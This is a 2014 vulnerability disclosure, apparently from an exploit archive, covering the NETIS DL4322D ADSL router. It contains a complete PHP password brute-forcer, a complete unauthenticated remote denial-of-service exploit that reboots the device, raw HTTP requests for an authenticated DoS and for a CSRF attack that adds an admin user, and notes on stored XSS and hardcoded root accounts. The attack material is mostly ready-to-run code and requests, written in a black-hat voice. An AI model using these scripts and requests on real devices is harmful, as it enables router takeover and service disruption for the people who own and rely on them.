NETIS DL4322D XSS / CSRF / DoS

2014.10.17
Credit: AkaStep
Risk: Medium
Local: No
Remote: Yes
CVE: N/A

Vulnerable Device: NETIS DL4322D 300Mbps Wireless N ADSL2+ Modem Router Multiple vulnerabilites (Other models of netis may also suffer from this vulns) Vendor: http://www.netis-systems.com Product overview: http://www.netis-systems.com/en/products/ADSL2+-Wireless-Modem-Router/941.html The netis DL4322D is a 3-in-1 device that combines the functions of a high speed ADSL2+ modem, 4-port NAT router and wireless N access point. It is designed to provide end-users with a one-stop solution to acquiring and sharing high-speed Internet access over a wired/wireless network. Supporting the latest ADSL standards, the DL4322D brings with it much higher speed than dial-up connections. It also provides some practical functions, such as Port Mapping for IPTV, Ethernet WAN, SNMP, IPv6, TR-069 and more. With this product, users can now enjoy more kinds of heavy bandwidth consuming applications like wireless HD video streaming. =================================== Vulns: Bruteforce/XSS/Denial Of Service(UnAuthenticated/Authenticated)/CSRF/ Plaintext Passwords/HardCoded Usernames =================================== 0) Bruteforce on login page: http://192.168.1.1/login.cgi There is no any anti-bruteforce implementation exists. (FULL PROOF CAPTCHA) So it is vulnerable to bruteforce. =========== BRUTEFORCER ============ <?php $page='login.cgi'; $usage='~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'. PHP_EOL . 'Usage:'. PHP_EOL . 'php -f brute.php guest/user /tmp/dictionary.txt http://192.168.1.1/'. PHP_EOL . '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'. PHP_EOL; if(count($argv)!==4) die($usage); $uname=$argv[1]; $passmassiv=$argv[2]; $ip=$argv[3]; $page=$ip . $page; $passmassiv=file($passmassiv) or die('Unable to open dictionary!'); foreach($passmassiv as $pass) { $pass=trim($pass); $post='username=' . $uname.'&password=' .$pass . '&submit.htm%3Flogin.htm=Send'; $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$page); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); curl_setopt($ch,CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_POST, sizeof($post)); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); $response=curl_exec($ch); if(!preg_match('/Username or password error/i',$response)) { echo 'OWNED! ' . $uname . ' PASSWD: ' . $pass. PHP_EOL; exit; } else { echo ' Verifying user: => ' . $uname . ' TRYING AS PASS:=> ' . $pass. PHP_EOL; } } unset($pass); ?> ======== EOF BRUTEFORCER ============== =================================== 1) XSS via incorrect login:password attempts. Since web interface of this device default is open to PUBLIC there is a big chance to be owned. This device has a capability to log incorrect login:password attempts. But it fails to sanitise user input and then it stores it in log.Administrator can view this log. Once administrator tries to view injected logs via web interface=game over. Exploitation: Using XSS redirect admin to 3'rd party site. Exploit CSRF flaws(it is up to you) add new admin/kick remote machine to DMZ and etc. then logon to device. SEE: XSS.png && unsanitized_input_passed.png http://s017.radikal.ru/i400/1410/84/a50fc523715a.jpg http://s50.radikal.ru/i130/1410/d3/dc9606d635a2.jpg =================================== 2) Remote Unauthenticated Denial Of Service Exploit. Since web interface is open to PUBLIC:(default) <?php error_reporting(0);//On production lol /******************************************* * NETIS DL4322D Unauthenticated * * Remote DENIAL OF SERVICE EXPLOIT * * /AkaStep * * On success this exploit simply * * reboots target's router * * (Connections will be interrupted as well)* * *****************************************/ $page='login.cgi'; $usage='~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'. PHP_EOL . 'NETIS DL4322D REMOTE DENIAL OF SERVICE EXPLOIT'. PHP_EOL . 'Usage:'. PHP_EOL . 'php -f netisdos.php http://REMOTE_OR_LOCAL_IP/'. PHP_EOL . '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'. PHP_EOL; if(count($argv)!==2) die($usage); $ip=$argv[1]; $page=$ip . $page; if(file_get_contents($ip . 'login.htm')) echo '[+] Target is Online! [+]'. PHP_EOL; sleep(3); echo '[+] Sending Payload! [+]'. PHP_EOL; sleep(3); $payload=str_repeat('AKASTEP',500); $post='username=' . $payload.'&password=SAY HELLO TO BLACK HATS!&submit.htm%3Flogin.htm=Send'; $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$page); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); curl_setopt($ch,CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 12); curl_setopt($ch, CURLOPT_POST, sizeof($post)); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); $response=curl_exec($ch); echo '[+] Payload WAS Sent... Please wait... [+]' .PHP_EOL; curl_close($ch); sleep(2); if(!file_get_contents($page)) echo('[+] Remote Target Down! [+]'. PHP_EOL); exit; ?> =================================== 3) DOS (Authenticated) but can be combined with XSS+CSRF remotely. http://192.168.1.1/form2languageSelect.cgi HEADERS: Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Cookie: SessionID= Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 44 If-Modified-Since: * DATA: selectLanguage=100&submit.htm%3Findex.htm=Send NOTE: Value 100 is illegal value that causes Denial Of service. Any current connection(s) will be broken permanently. [root@ metasploit]# nmap -sS -Pn 192.168.1.1 -p 80 Starting Nmap 6.45 ( http://nmap.org ) at 2014-10-15 22:59 AZST Nmap done: 1 IP address (0 hosts up) scanned in 0.46 seconds [root@ metasploit]# nmap -sS -Pn 192.168.1.1 -p 80 Starting Nmap 6.45 ( http://nmap.org ) at 2014-10-15 22:59 AZST Nmap done: 1 IP address (0 hosts up) scanned in 0.46 seconds [root@ metasploit]# nmap -sS -sU -PN -sV 192.168.1.1 Starting Nmap 6.45 ( http://nmap.org ) at 2014-10-15 23:02 AZST Nmap done: 1 IP address (0 hosts up) scanned in 0.92 seconds [root@ metasploit]# ping 192.168.1.1 PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. Moreover after switching device to on/off states (aka multiple hard reboots) any attempt to access web interface will result in Denial Of service.(Device is somehow still poisoned in infinitive manner) [root@ metasploit]# ping 192.168.1.1 PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. From 192.168.1.102 icmp_seq=17 Destination Host Unreachable From 192.168.1.102 icmp_seq=18 Destination Host Unreachable From 192.168.1.102 icmp_seq=19 Destination Host Unreachable From 192.168.1.102 icmp_seq=20 Destination Host Unreachable From 192.168.1.102 icmp_seq=21 Destination Host Unreachable From 192.168.1.102 icmp_seq=22 Destination Host Unreachable From 192.168.1.102 icmp_seq=23 Destination Host Unreachable From 192.168.1.102 icmp_seq=24 Destination Host Unreachable From 192.168.1.102 icmp_seq=25 Destination Host Unreachable From 192.168.1.102 icmp_seq=26 Destination Host Unreachable From 192.168.1.102 icmp_seq=27 Destination Host Unreachable From 192.168.1.102 icmp_seq=28 Destination Host Unreachable From 192.168.1.102 icmp_seq=29 Destination Host Unreachable From 192.168.1.102 icmp_seq=30 Destination Host Unreachable From 192.168.1.102 icmp_seq=31 Destination Host Unreachable From 192.168.1.102 icmp_seq=32 Destination Host Unreachable From 192.168.1.102 icmp_seq=33 Destination Host Unreachable From 192.168.1.102 icmp_seq=34 Destination Host Unreachable From 192.168.1.102 icmp_seq=35 Destination Host Unreachabl ========================================================================== 4) Multiple CSRF vulns: (all forms is prone to CSRF because there is no any ANTI-CSRF implementation at all) Here is one while transmitting VIA POST request: URL: http://192.168.1.1/form2userconfig.cgi REQUEST HEADERS: Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Cookie: SessionID= Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 127 If-Modified-Since: * DATA TO POST: username=owned_device&privilege=2&newpass=aDhexLbT8&confpass=aDhexLbT8&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send SEE: CSRF_VULNERABLE_FORMS.png http://s019.radikal.ru/i632/1410/3b/2d738ae75ec5.jpg ========================================================================== 5) Plaintext passwords SEE: PLAINTEXT_PASSWORDS_FROM_SOURCE_OF_PAGE.png http://s008.radikal.ru/i306/1410/88/be4c3e20fa10.jpg ========================================================================== 6) Hardcoded usernames. This device has 2 hardcoded accounts. guest and user guest <= it has a root privilegie user <= is a limited user You can change paswords for them but you can't delete or rename them. ========================================================================== ===================== WITH LOVE FROM AZERBAIJAN ======================== packetstormsecurity.org packetstormsecurity.com packetstormsecurity.net securityfocus.com cxsecurity.com security.nnov.ru securtiyvulns.com securitylab.ru secunia.com securityhome.eu exploitsdownload.com osvdb.com websecurity.com.ua 1337day.com itsecuritysolutions.org waraxe.us exploit-db.com insecurety.net millikuvvetler.net b3yaz.org Special respect's to CAMOUFL4G3 && Brendan Coles && ottoman38 && Ferid23 && Sexavet and to all Azerbaijan Black hatz,Aa team && to All Turkish hackers. /AkaStep

References:

http://www.netis-systems.com/en/products/ADSL2+-Wireless-Modem-Router/941.html


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